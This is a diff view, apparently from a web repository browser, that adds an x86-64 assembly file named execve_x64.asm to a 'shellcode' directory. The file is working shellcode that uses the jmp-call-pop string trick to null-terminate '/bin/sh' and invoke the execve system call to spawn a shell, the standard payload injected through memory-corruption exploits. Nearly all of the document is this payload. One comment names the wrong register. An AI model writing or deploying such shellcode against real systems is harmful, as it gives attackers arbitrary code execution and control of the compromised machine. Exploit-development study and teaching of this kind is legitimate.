diff options
Diffstat (limited to 'shellcode/execve_x64.asm')
| -rw-r--r-- | shellcode/execve_x64.asm | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/shellcode/execve_x64.asm b/shellcode/execve_x64.asm new file mode 100644 index 0000000..6048796 --- /dev/null +++ b/shellcode/execve_x64.asm @@ -0,0 +1,20 @@ +BITS 64 + + +; do the 'string trick' +jmp short string + +code: +xor rax,rax +pop rdi ; pop the addr of the string intro esi (stack pointer register) +mov byte [rdi + 7], al ; null-terminate the string +push rdi +mov rsi,rsp +push rax +mov rdx,rsp +mov byte al,59 ; execv +syscall + +string: +call code +db '/bin/sh' , 0xFF |